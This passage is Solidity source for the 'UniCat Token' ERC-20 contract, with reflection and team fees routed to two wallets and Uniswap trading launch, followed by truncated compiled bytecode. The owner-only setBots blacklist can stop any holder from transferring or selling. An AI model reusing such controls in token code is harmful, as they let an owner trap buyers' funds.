uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract UNICAT is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"UniCat Token"; string private constant _symbol = unicode"UNICAT"; uint8 private constant _decimals = 9; uint256 private _taxFee = 2; uint256 private _teamFee = 6; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private _noTaxMode = false; bool private inSwap = false; uint256 private walletLimitDuration; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { require(!_bots[from] && !_bots[to]); if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); if (walletLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } } uint256 contractTokenBalance = balanceOf(address(this)); if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(5).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(5).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || _noTaxMode){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingOpen = true; walletLimitDuration = block.timestamp + (60 minutes); } function setMarketingWallet (address payable marketingWalletAddress) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[_marketingWalletAddress] = false; _marketingWalletAddress = marketingWalletAddress; _isExcludedFromFee[marketingWalletAddress] = true; } function excludeFromFee (address payable ad) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[ad] = true; } function includeToFee (address payable ad) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[ad] = false; } function setNoTaxMode(bool onoff) external { require(_msgSender() == _FeeAddress); _noTaxMode = onoff; } function setTeamFee(uint256 team) external { require(_msgSender() == _FeeAddress); require(team <= 6); _teamFee = team; } function setTaxFee(uint256 tax) external { require(_msgSender() == _FeeAddress); require(tax <= 2); _taxFee = tax; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _bots[bots_[i]] = true; } } } function delBot(address notbot) public onlyOwner { _bots[notbot] = false; } function isBot(address ad) public view returns (bool) { return _bots[ad]; } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x60806040526004361061016a5760003560e01c806370a08231116100d1578063c3c8cd801161008a578063cf0848f711610064578063cf0848f7146104fb578063db92dbb614610524578063dd62ed3e1461054f578063e6ec64ec1461058c57610171565b8063c3c8cd80146104a4578063c4081a4c146104bb578063c9567bf9146104e457610171565b806370a0823114610394578063715018a6146103d15780638da5cb5b146103e857806395d89b4114610413578063a9059cbb1461043e578063b515566a1461047b57610171565b8063313ce56711610123578063313ce5671461029a5780633bbac579146102c5578063437823ec146103025780634b740b161461032b5780635d098b38146103545780636fc3eaec1461037d57610171565b806306fdde0314610176578063095ea7b3146101a157806318160ddd146101de57806323b872dd14610209578063273123b71461024657806327f3a72a1461026f57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b6105b5565b6040516101989190613331565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612e77565b6105f2565b6040516101d59190613316565b60405180910390f35b3480156101ea57600080fd5b506101f3610610565b60405161020091906134b3565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612e28565b610621565b60405161023d9190613316565b60405180910390f35b34801561025257600080fd5b5061026d60048036038101906102689190612d71565b6106fa565b005b34801561027b57600080fd5b506102846107ea565b60405161029191906134b3565b60405180910390f35b3480156102a657600080fd5b506102af6107fa565b6040516102bc9190613528565b60405180910390f35b3480156102d157600080fd5b506102ec60048036038101906102e79190612d71565b610803565b6040516102f99190613316565b60405180910390f35b34801561030e57600080fd5b5061032960048036038101906103249190612dc3565b610859565b005b34801561033757600080fd5b50610352600480360381019061034d9190612ef4565b610915565b005b34801561036057600080fd5b5061037b60048036038101906103769190612dc3565b610993565b005b34801561038957600080fd5b50610392610b0a565b005b3480156103a057600080fd5b506103bb60048036038101906103b69190612d71565b610b7c565b6040516103c891906134b3565b60405180910390f35b3480156103dd57600080fd5b506103e6610bcd565b005b3480156103f457600080fd5b506103fd610d20565b60405161040a9190613248565b60405180910390f35b34801561041f57600080fd5b50610428610d49565b6040516104359190613331565b60405180910390f35b34801561044a57600080fd5b5061046560048036038101906104609190612e77565b610d86565b6040516104729190613316565b60405180910390f35b34801561048757600080fd5b506104a2600480360381019061049d9190612eb3565b610da4565b005b3480156104b057600080fd5b506104b9611026565b005b3480156104c757600080fd5b506104e260048036038101906104dd9190612f46565b6110a0565b005b3480156104f057600080fd5b506104f9611119565b005b34801561050757600080fd5b50610522600480360381019061051d9190612dc3565b611644565b005b34801561053057600080fd5b50610539611700565b60405161054691906134b3565b60405180910390f35b34801561055b57600080fd5b5061057660048036038101906105719190612dec565b611732565b60405161058391906134b3565b60405180910390f35b34801561059857600080fd5b506105b360048036038101906105ae9190612f46565b6117b9565b005b60606040518060400160405280600c81526020017f556e6943617420546f6b656e0000000000000000000000000000000000000000815250905090565b60006106066105ff611832565b848461183a565b6001905092915050565b6000683635c9adc5dea00000905090565b600061062e848484611a05565b6106ef8461063a611832565b6106ea85604051806060016040528060288152602001613bec60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106a0611832565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120579092919063ffffffff16565b61183a565b600190509392505050565b610702611832565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461078f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610786906133f3565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006107f530610b7c565b905090565b60006009905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661089a611832565b73ffffffffffffffffffffffffffffffffffffffff16146108ba57600080fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610956611832565b73ffffffffffffffffffffffffffffffffffffffff161461097657600080fd5b80601060156101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109d4611832565b73ffffffffffffffffffffffffffffffffffffffff16146109f457600080fd5b600060056000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b4b611832565b73ffffffffffffffffffffffffffffffffffffffff1614610b6b57600080fd5b6000479050610b79816120bb565b50565b6000610bc6600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121b6565b9050919050565b610bd5611832565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c59906133f3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f554e494341540000000000000000000000000000000000000000000000000000815250905090565b6000610d9a610d93611832565b8484611a05565b6001905092915050565b610dac611832565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e30906133f3565b60405180910390fd5b60005b815181101561102257601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610eb7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614158015610f715750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f50577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561100f57600160066000848481518110610fb5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061101a906137db565b915050610e3c565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611067611832565b73ffffffffffffffffffffffffffffffffffffffff161461108757600080fd5b600061109230610b7c565b905061109d81612224565b50565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110e1611832565b73ffffffffffffffffffffffffffffffffffffffff161461110157600080fd5b600281111561110f57600080fd5b8060098190555050565b611121611832565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a5906133f3565b60405180910390fd5b601060149054906101000a900460ff16156111fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f590613473565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061128e30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061183a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156112d457600080fd5b505afa1580156112e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130c9190612d9a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561136e57600080fd5b505afa158015611382573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a69190612d9a565b6040518363ffffffff1660e01b81526004016113c3929190613263565b602060405180830381600087803b1580156113dd57600080fd5b505af11580156113f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114159190612d9a565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061149e30610b7c565b6000806114a9610d20565b426040518863ffffffff1660e01b81526004016114cb969594939291906132b5565b6060604051808303818588803b1580156114e457600080fd5b505af11580156114f8573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061151d9190612f6f565b505050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016115bf92919061328c565b602060405180830381600087803b1580156115d957600080fd5b505af11580156115ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116119190612f1d565b506001601060146101000a81548160ff021916908315150217905550610e104261163b91906135e9565b60118190555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611685611832565b73ffffffffffffffffffffffffffffffffffffffff16146116a557600080fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061172d601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b7c565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117fa611832565b73ffffffffffffffffffffffffffffffffffffffff161461181a57600080fd5b600681111561182857600080fd5b80600a8190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a190613453565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561191a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191190613393565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119f891906134b3565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6c90613433565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ae5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611adc90613353565b60405180910390fd5b60008111611b28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1f90613413565b60405180910390fd5b611b30610d20565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b9e5750611b6e610d20565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7d57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c475750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611c5057600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611cfb5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d515750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e0d57601060149054906101000a900460ff16611da5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9c90613493565b60405180910390fd5b426011541115611e0c576000611dba83610b7c565b9050611dec6064611dde6002683635c9adc5dea0000061251e90919063ffffffff16565b61259990919063ffffffff16565b611dff82846125e390919063ffffffff16565b1115611e0a57600080fd5b505b5b6000611e1830610b7c565b9050601060169054906101000a900460ff16158015611e855750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611e9d5750601060149054906101000a900460ff165b15611f7b576000811115611f6157611efc6064611eee6005611ee0601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b7c565b61251e90919063ffffffff16565b61259990919063ffffffff16565b811115611f5757611f546064611f466005611f38601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b7c565b61251e90919063ffffffff16565b61259990919063ffffffff16565b90505b611f6081612224565b5b60004790506000811115611f7957611f78476120bb565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120245750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061203b5750601060159054906101000a900460ff165b1561204557600090505b61205184848484612641565b50505050565b600083831115829061209f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120969190613331565b60405180910390fd5b50600083856120ae91906136ca565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61210b60028461259990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612136573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61218760028461259990919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121b2573d6000803e3d6000fd5b5050565b60006007548211156121fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121f490613373565b60405180910390fd5b600061220761266e565b905061221c818461259990919063ffffffff16565b915050919050565b6001601060166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612282577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122b05781602001602082028036833780820191505090505b50905030816000815181106122ee577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561239057600080fd5b505afa1580156123a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123c89190612d9a565b81600181518110612402577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061246930600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461183a565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124cd9594939291906134ce565b600060405180830381600087803b1580156124e757600080fd5b505af11580156124fb573d6000803e3d6000fd5b50505050506000601060166101000a81548160ff02191690831515021790555050565b6000808314156125315760009050612593565b6000828461253f9190613670565b905082848261254e919061363f565b1461258e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612585906133d3565b60405180910390fd5b809150505b92915050565b60006125db83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612699565b905092915050565b60008082846125f291906135e9565b905083811015612637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161262e906133b3565b60405180910390fd5b8091505092915050565b8061264f5761264e6126fc565b5b61265a84848461273f565b806126685761266761290a565b5b50505050565b600080600061267b61291e565b91509150612692818361259990919063ffffffff16565b9250505090565b600080831182906126e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126d79190613331565b60405180910390fd5b50600083856126ef919061363f565b9050809150509392505050565b600060095414801561271057506000600a54145b1561271a5761273d565b600954600b81905550600a54600c8190555060006009819055506000600a819055505b565b60008060008060008061275187612980565b9550955095509550955095506127af86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129e890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061284485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125e390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061289081612a32565b61289a8483612aef565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128f791906134b3565b60405180910390a3505050505050505050565b600b54600981905550600c54600a81905550565b600080600060075490506000683635c9adc5dea000009050612954683635c9adc5dea0000060075461259990919063ffffffff16565b82101561297357600754683635c9adc5dea0000093509350505061297c565b81819350935050505b9091565b600080600080600080600080600061299d8a600954600a54612b29565b92509250925060006129ad61266e565b905060008060006129c08e878787612bbf565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a2a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612057565b905092915050565b6000612a3c61266e565b90506000612a53828461251e90919063ffffffff16565b9050612aa781600260003073ffffff